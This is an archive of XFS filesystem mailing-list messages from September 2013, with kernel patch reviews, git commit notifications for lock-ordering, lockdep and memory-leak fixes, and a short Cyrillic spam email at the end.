AGF > and AGI locking - inode allocation locks the AGI, then can allocate > a new extent for new inodes, locking the AGF after the AGI. > Similarly, freeing the inode removes the inode from the unlinked > list, requiring that we lock the AGI first, and then freeing the > inode can result in an inode chunk being freed and hence freeing > disk space requiring that we lock an AGF. > > Hence the ordering that is imposed by other parts of the code is AGI > before AGF. This means we cannot remove the directory entry before > we drop the inode reference count and put it on the unlinked list as > this results in a lock order of AGF then AGI, and this can deadlock > against inode allocation and freeing. Therefore we must drop the > link counts before we remove the directory entry. > > This is still safe from a transactional point of view - it is not > until we get to xfs_bmap_finish() that we have the possibility of > multiple transactions in this operation. Hence as long as we remove > the directory entry and drop the link count in the first transaction > of the remove operation, there are no transactional constraints on > the ordering here. > > Change the ordering of the operations in the xfs_remove() function > to align the ordering of AGI and AGF locking to match that of the > rest of the code. > > Signed-off-by: Dave Chinner Hmmm.. I'm not quite comfortable with this one yet... It'll probably be better after some more review. Did you happen to have a test case to go with this? Thanks, Ben From sandeen@sandeen.net Mon Sep 30 17:25:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 246017F5A for ; Mon, 30 Sep 2013 17:25:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 041C5304039 for ; Mon, 30 Sep 2013 15:25:00 -0700 (PDT) X-ASG-Debug-ID: 1380579896-04cbb02c3a15d7060001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id e8RUTnDqdhBSOe1K for ; Mon, 30 Sep 2013 15:24:56 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D4CD56171C49; Mon, 30 Sep 2013 17:24:55 -0500 (CDT) Message-ID: <5249FA36.1070609@sandeen.net> Date: Mon, 30 Sep 2013 17:24:54 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 4/4] xfs: open code inc_inode_iversion when logging an inode References: <1380497826-13474-1-git-send-email-david@fromorbit.com> <1380497826-13474-5-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs: open code inc_inode_iversion when logging an inode In-Reply-To: <1380497826-13474-5-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1380579896 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email On 9/29/13 6:37 PM, Dave Chinner wrote: > From: Dave Chinner > > Michael L Semon reported that generic/069 runtime increased on v5 > superblocks by 100% compared to v4 superblocks. his perf-based > analysis pointed directly at the timestamp updates being done by the > write path in this workload. The append writers are doing 4-byte > writes, so there are lots of timestamp updates occurring. > > The thing is, they aren't being triggered by timestamp changes - > they are being triggered by the inode change counter needing to be > updated. That is, every write(2) system call needs to bump the inode > version count, and it does that through the timestamp update > mechanism. Hence for v5 filesystems, test generic/069 is running 3 > orders of magnitude more timestmap update transactions on v5 > filesystems due to the fact it does a huge number of *4 byte* > write(2) calls. > > This isn't a real world scenario we really need to address - anyone > doing such sequential IO should be using fwrite(3), not write(2). > i.e. fwrite(3) buffers the writes in userspace to minimise the > number of write(2) syscalls, and the problem goes away. > > However, there is a small change we can make to improve the > situation - removing the expensive lock operation on the change > counter update. All inode version counter changes in XFS occur > under the ip->i_ilock during a transaction, and therefore we > don't actually need the spin lock that provides exclusive access to > it through inc_inode_iversion(). > > Hence avoid the lock and just open code the increment ourselves when > logging the inode. > > Reported-by: Michael L. Semon > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_trans_inode.c | 3 +-- > 1 file changed, 1 insertion(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c > index 53dfe46..e6601c1 100644 > --- a/fs/xfs/xfs_trans_inode.c > +++ b/fs/xfs/xfs_trans_inode.c > @@ -118,8 +118,7 @@ xfs_trans_log_inode( > */ > if (!(ip->i_itemp->ili_item.li_desc->lid_flags & XFS_LID_DIRTY) && > IS_I_VERSION(VFS_I(ip))) { > - inode_inc_iversion(VFS_I(ip)); > - ip->i_d.di_changecount = VFS_I(ip)->i_version; comment about the reason for the open-code might be good, too? otherwise some semantic patcher might "fix" it for you again later... -Eric > + ip->i_d.di_changecount = ++VFS_I(ip)->i_version; > flags |= XFS_ILOG_CORE; > } > > From bpm@sgi.com Mon Sep 30 17:39:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DD5B97F60 for ; Mon, 30 Sep 2013 17:39:46 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id A38548F8039; Mon, 30 Sep 2013 15:39:46 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 695394266DC; Mon, 30 Sep 2013 17:39:46 -0500 (CDT) Date: Mon, 30 Sep 2013 17:39:46 -0500 From: Ben Myers To: Eric Sandeen , Jean Noel Cordenner , Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/4] xfs: open code inc_inode_iversion when logging an inode Message-ID: <20130930223946.GQ1935@sgi.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> <1380497826-13474-5-git-send-email-david@fromorbit.com> <5249FA36.1070609@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5249FA36.1070609@sandeen.net> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Gents, On Mon, Sep 30, 2013 at 05:24:54PM -0500, Eric Sandeen wrote: > On 9/29/13 6:37 PM, Dave Chinner wrote: > > From: Dave Chinner > > > > Michael L Semon reported that generic/069 runtime increased on v5 > > superblocks by 100% compared to v4 superblocks. his perf-based > > analysis pointed directly at the timestamp updates being done by the > > write path in this workload. The append writers are doing 4-byte > > writes, so there are lots of timestamp updates occurring. > > > > The thing is, they aren't being triggered by timestamp changes - > > they are being triggered by the inode change counter needing to be > > updated. That is, every write(2) system call needs to bump the inode > > version count, and it does that through the timestamp update > > mechanism. Hence for v5 filesystems, test generic/069 is running 3 > > orders of magnitude more timestmap update transactions on v5 > > filesystems due to the fact it does a huge number of *4 byte* > > write(2) calls. > > > > This isn't a real world scenario we really need to address - anyone > > doing such sequential IO should be using fwrite(3), not write(2). > > i.e. fwrite(3) buffers the writes in userspace to minimise the > > number of write(2) syscalls, and the problem goes away. > > > > However, there is a small change we can make to improve the > > situation - removing the expensive lock operation on the change > > counter update. All inode version counter changes in XFS occur > > under the ip->i_ilock during a transaction, and therefore we > > don't actually need the spin lock that provides exclusive access to > > it through inc_inode_iversion(). > > > > Hence avoid the lock and just open code the increment ourselves when > > logging the inode. > > > > Reported-by: Michael L. Semon > > Signed-off-by: Dave Chinner > > --- > > fs/xfs/xfs_trans_inode.c | 3 +-- > > 1 file changed, 1 insertion(+), 2 deletions(-) > > > > diff --git a/fs/xfs/xfs_trans_inode.c b/fs/xfs/xfs_trans_inode.c > > index 53dfe46..e6601c1 100644 > > --- a/fs/xfs/xfs_trans_inode.c > > +++ b/fs/xfs/xfs_trans_inode.c > > @@ -118,8 +118,7 @@ xfs_trans_log_inode( > > */ > > if (!(ip->i_itemp->ili_item.li_desc->lid_flags & XFS_LID_DIRTY) && > > IS_I_VERSION(VFS_I(ip))) { > > - inode_inc_iversion(VFS_I(ip)); > > - ip->i_d.di_changecount = VFS_I(ip)->i_version; > > comment about the reason for the open-code might be good, too? > > otherwise some semantic patcher might "fix" it for you again later... > > -Eric > > > + ip->i_d.di_changecount = ++VFS_I(ip)->i_version; > > flags |= XFS_ILOG_CORE; > > } > > > > Adding a comment strikes me as a good idea too... But isn't that lock there for a reason? I suspect that will break i_version like i_size on 32 bit systems. Jean added this function, hopefully he can shed some light. Thanks, Ben From bpm@oss.sgi.com Mon Sep 30 17:51:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 775D67F67; Mon, 30 Sep 2013 17:51:14 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc3-2-g367993e X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 997def25e4b9cee3b01609e18a52f926bca8bd2b X-Git-Newrev: 367993e7c6428cb7617ab7653d61dca54e2fdede Message-Id: <20130930225114.775D67F67@oss.sgi.com> Date: Mon, 30 Sep 2013 17:51:14 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 367993e xfs: dirent dtype presence is dependent on directory magic numbers f112a04 xfs: lockdep needs to know about 3 dquot-deep nesting from 997def25e4b9cee3b01609e18a52f926bca8bd2b (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 367993e7c6428cb7617ab7653d61dca54e2fdede Author: Dave Chinner Date: Mon Sep 30 09:37:04 2013 +1000 xfs: dirent dtype presence is dependent on directory magic numbers The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit f112a049712a5c07de25d511c3c6587a2b1a015e Author: Dave Chinner Date: Mon Sep 30 09:37:03 2013 +1000 xfs: lockdep needs to know about 3 dquot-deep nesting Michael Semon reported that xfs/299 generated this lockdep warning: ============================================= [ INFO: possible recursive locking detected ] 3.12.0-rc2+ #2 Not tainted --------------------------------------------- touch/21072 is trying to acquire lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 but task is already holding lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&xfs_dquot_other_class); lock(&xfs_dquot_other_class); *** DEADLOCK *** May be due to missing lock nesting notation 7 locks held by touch/21072: #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 The lockdep annotation for dquot lock nesting only understands locking for user and "other" dquots, not user, group and quota dquots. Fix the annotations to match the locking heirarchy we now have. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2_block.c | 6 +++--- fs/xfs/xfs_dir2_format.h | 51 +++++++++++++++++++---------------------------- fs/xfs/xfs_dir2_readdir.c | 4 ++-- fs/xfs/xfs_dir2_sf.c | 6 +++--- fs/xfs/xfs_dquot.c | 19 +++++++++++++++--- 5 files changed, 44 insertions(+), 42 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Sep 30 17:51:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 377697F6D; Mon, 30 Sep 2013 17:51:23 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc3-2-g367993e X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 997def25e4b9cee3b01609e18a52f926bca8bd2b X-Git-Newrev: 367993e7c6428cb7617ab7653d61dca54e2fdede Message-Id: <20130930225123.377697F6D@oss.sgi.com> Date: Mon, 30 Sep 2013 17:51:23 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 367993e xfs: dirent dtype presence is dependent on directory magic numbers f112a04 xfs: lockdep needs to know about 3 dquot-deep nesting from 997def25e4b9cee3b01609e18a52f926bca8bd2b (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 367993e7c6428cb7617ab7653d61dca54e2fdede Author: Dave Chinner Date: Mon Sep 30 09:37:04 2013 +1000 xfs: dirent dtype presence is dependent on directory magic numbers The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit f112a049712a5c07de25d511c3c6587a2b1a015e Author: Dave Chinner Date: Mon Sep 30 09:37:03 2013 +1000 xfs: lockdep needs to know about 3 dquot-deep nesting Michael Semon reported that xfs/299 generated this lockdep warning: ============================================= [ INFO: possible recursive locking detected ] 3.12.0-rc2+ #2 Not tainted --------------------------------------------- touch/21072 is trying to acquire lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 but task is already holding lock: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(&xfs_dquot_other_class); lock(&xfs_dquot_other_class); *** DEADLOCK *** May be due to missing lock nesting notation 7 locks held by touch/21072: #0: (sb_writers#10){++++.+}, at: [] mnt_want_write+0x1e/0x3e #1: (&type->i_mutex_dir_key#4){+.+.+.}, at: [] do_last+0x245/0xe40 #2: (sb_internal#2){++++.+}, at: [] xfs_trans_alloc+0x1f/0x35 #3: (&(&ip->i_lock)->mr_lock/1){+.+...}, at: [] xfs_ilock+0x100/0x1f1 #4: (&(&ip->i_lock)->mr_lock){++++-.}, at: [] xfs_ilock_nowait+0x105/0x22f #5: (&dqp->q_qlock){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 #6: (&xfs_dquot_other_class){+.+...}, at: [] xfs_trans_dqlockedjoin+0x57/0x64 The lockdep annotation for dquot lock nesting only understands locking for user and "other" dquots, not user, group and quota dquots. Fix the annotations to match the locking heirarchy we now have. Reported-by: Michael L. Semon Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2_block.c | 6 +++--- fs/xfs/xfs_dir2_format.h | 51 +++++++++++++++++++---------------------------- fs/xfs/xfs_dir2_readdir.c | 4 ++-- fs/xfs/xfs_dir2_sf.c | 6 +++--- fs/xfs/xfs_dquot.c | 19 +++++++++++++++--- 5 files changed, 44 insertions(+), 42 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Mon Sep 30 17:52:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9507D7F6C for ; Mon, 30 Sep 2013 17:52:03 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 794D1304032; Mon, 30 Sep 2013 15:52:03 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 563D74266DC; Mon, 30 Sep 2013 17:52:03 -0500 (CDT) Date: Mon, 30 Sep 2013 17:52:03 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/4] xfs: candidate fixes for 3.12-rc4 Message-ID: <20130930225203.GR1935@sgi.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380497826-13474-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Sep 30, 2013 at 09:37:02AM +1000, Dave Chinner wrote: > Hi folks, > > The first two patches are regressions and hence -rc4 candidates - > the first patch fixes a lockdep false positive as a result of adding > the third quota inode, and the second fixes a on-disk format > interpretation problem in the v4 superblock dtype-in-dirent feature. Applied 1 and 2. Thanks, Ben From bpm@sgi.com Mon Sep 30 17:53:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3550F7F6C for ; Mon, 30 Sep 2013 17:53:07 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7341AC00D; Mon, 30 Sep 2013 15:53:06 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6F91B4266DC; Mon, 30 Sep 2013 17:53:06 -0500 (CDT) Date: Mon, 30 Sep 2013 17:53:06 -0500 From: Ben Myers To: tinguely@sgi.com Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: fix memory leak in xlog_recover_add_to_trans Message-ID: <20130930225306.GS1935@sgi.com> References: <20130927140104.515578025@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130927140104.515578025@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Sep 27, 2013 at 09:00:55AM -0500, tinguely@sgi.com wrote: > Free the memory in error path of xlog_recover_add_to_trans(). > Normally this memory is freed in recovery pass2, but is leaked > in the error path. > > Signed-off-by: Mark Tinguely Applied. From bpm@oss.sgi.com Mon Sep 30 17:53:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 676FB7F7C; Mon, 30 Sep 2013 17:53:38 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. xfs-for-linus-v3.12-rc3-3-g519ccb8 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 367993e7c6428cb7617ab7653d61dca54e2fdede X-Git-Newrev: 519ccb81ac1c8e3e4eed294acf93be00b43dcad6 Message-Id: <20130930225338.676FB7F7C@oss.sgi.com> Date: Mon, 30 Sep 2013 17:53:38 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 519ccb8 xfs: fix memory leak in xlog_recover_add_to_trans from 367993e7c6428cb7617ab7653d61dca54e2fdede (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 519ccb81ac1c8e3e4eed294acf93be00b43dcad6 Author: tinguely@sgi.com Date: Fri Sep 27 09:00:55 2013 -0500 xfs: fix memory leak in xlog_recover_add_to_trans Free the memory in error path of xlog_recover_add_to_trans(). Normally this memory is freed in recovery pass2, but is leaked in the error path. Signed-off-by: Mark Tinguely Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_log_recover.c | 1 + 1 file changed, 1 insertion(+) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Sep 30 17:53:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 3A15B7F84; Mon, 30 Sep 2013 17:53:49 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc3-3-g519ccb8 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 367993e7c6428cb7617ab7653d61dca54e2fdede X-Git-Newrev: 519ccb81ac1c8e3e4eed294acf93be00b43dcad6 Message-Id: <20130930225349.3A15B7F84@oss.sgi.com> Date: Mon, 30 Sep 2013 17:53:49 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 519ccb8 xfs: fix memory leak in xlog_recover_add_to_trans from 367993e7c6428cb7617ab7653d61dca54e2fdede (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 519ccb81ac1c8e3e4eed294acf93be00b43dcad6 Author: tinguely@sgi.com Date: Fri Sep 27 09:00:55 2013 -0500 xfs: fix memory leak in xlog_recover_add_to_trans Free the memory in error path of xlog_recover_add_to_trans(). Normally this memory is freed in recovery pass2, but is leaked in the error path. Signed-off-by: Mark Tinguely Reviewed-by: Eric Sandeen Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_log_recover.c | 1 + 1 file changed, 1 insertion(+) hooks/post-receive -- XFS development tree From lkzhbanf3@iss-us.com Mon Sep 30 18:14:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 73FA67F83 for ; Mon, 30 Sep 2013 18:14:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 60FE48F8040 for ; Mon, 30 Sep 2013 16:14:28 -0700 (PDT) X-ASG-Debug-ID: 1380582863-04cb6c2e9f15ec090001-NocioJ Received: from fproxy7-pub.mail.unifiedlayer.com (fproxy7-pub.mail.unifiedlayer.com [69.89.22.21]) by cuda.sgi.com with SMTP id CdO44NcnSwP4NsvR for ; Mon, 30 Sep 2013 16:14:23 -0700 (PDT) X-Barracuda-Envelope-From: lkzhbanf3@iss-us.com X-Barracuda-Apparent-Source-IP: 69.89.22.21 Received: (qmail 30789 invoked by uid 0); 30 Sep 2013 23:14:23 -0000 Received: from unknown (HELO box314.bluehost.com) (69.89.31.114) by fproxy7.mail.unifiedlayer.com with SMTP; 30 Sep 2013 23:14:23 -0000 Received: from [74.70.1.72] (port=51876 helo=Unknown) by box314.bluehost.com with esmtpa (Exim 4.80) (envelope-from ) id 1VQmfT-0007K7-SF; Mon, 30 Sep 2013 17:14:22 -0600 Message-ID: <5E5F8711484B4335BACA46AFABC2857D@hijawu> Reply-To: =?windows-1251?B?3eru6+7j6Pfl8ero6SDq7u3y8O7r/A==?= From: =?windows-1251?B?3eru6+7j6Pfl8ero6SDq7u3y8O7r/A==?= To: , , , , Subject: =?windows-1251?B?wuXk8/nl7PMg/eru6+7j8yDOzs7R?= Date: Tue, 1 Oct 2013 01:14:24 +0200 X-ASG-Orig-Subj: =?windows-1251?B?wuXk8/nl7PMg/eru6+7j8yDOzs7R?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_015A_01CEBE43.90B7BD50" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Identified-User: {519:box314.bluehost.com:lisanive:lisanivenkelly.com} {sentby:smtp auth 74.70.1.72 authed with admin@lisanivenkelly.com} X-Barracuda-Connect: fproxy7-pub.mail.unifiedlayer.com[69.89.22.21] X-Barracuda-Start-Time: 1380582863 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141070 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_015A_01CEBE43.90B7BD50 Content-Type: multipart/alternative; boundary="----=_NextPart_001_015B_01CEBE43.90B7BD50" ------=_NextPart_001_015B_01CEBE43.90B7BD50 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D3=F2=E8=EB=E8=E7=E0=F6=E8=FF =EE=F2=F5=EE=E4=EE=E2 ------=_NextPart_001_015B_01CEBE43.90B7BD50 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =D3=F2=E8=EB=E8=E7=E0=F6=E8=FF =EE=F2=F5=EE=E4=EE= =E2
